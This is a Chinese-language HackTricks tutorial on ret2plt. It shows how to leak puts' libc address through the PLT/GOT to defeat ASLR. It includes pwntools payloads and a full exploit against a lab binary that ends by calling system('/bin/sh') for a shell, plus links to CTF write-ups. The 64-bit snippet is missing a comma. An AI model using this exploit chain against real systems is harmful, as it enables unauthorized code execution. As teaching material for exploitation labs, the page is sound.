# Ret2plt {{#include ../../../banners/hacktricks-training.md}} ## 基本信息 该技术的目标是**泄露来自PLT的函数地址**以绕过ASLR。这是因为,如果例如,你泄露了来自libc的函数`puts`的地址,你就可以**计算`libc`的基址**并计算偏移量以访问其他函数,如**`system`**。 这可以通过`pwntools`有效载荷完成,例如([**来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( b'A' * padding, elf.plt['puts'], elf.symbols['main'], elf.got['puts'] ) # 64-bit payload = flat( b'A' * padding, POP_RDI, elf.got['puts'] elf.plt['puts'], elf.symbols['main'] ) ``` 注意如何 **`puts`**(使用来自 PLT 的地址)被调用,地址位于 GOT(全局偏移表)中的 `puts`。这是因为在 `puts` 打印 `puts` 的 GOT 条目时,这个 **条目将包含 `puts` 在内存中的确切地址**。 还要注意如何在利用中使用 `main` 的地址,以便当 `puts` 结束其执行时,**二进制文件会再次调用 `main` 而不是退出**(因此泄露的地址将继续有效)。 > [!CAUTION] > 注意,为了使这项工作,**二进制文件不能使用 PIE 编译**,或者您必须 **找到一个泄露以绕过 PIE**,以便知道 PLT、GOT 和 main 的地址。否则,您需要先绕过 PIE。 您可以在 [**此处找到此绕过的完整示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。这是该 **示例** 的最终利用: ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvline() payload = flat( 'A' * 32, elf.plt['puts'], elf.sym['main'], elf.got['puts'] ) p.sendline(payload) puts_leak = u32(p.recv(4)) p.recvlines(2) libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], libc.sym['exit'], next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` ## 其他示例与参考 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址,然后再调用 `system('/bin/sh')` 的 ROP gadget。 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - 64 位,启用 ASLR,没有 canary,主函数中的堆栈溢出来自子函数。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址,然后调用一个 gadget。 {{#include ../../../banners/hacktricks-training.md}}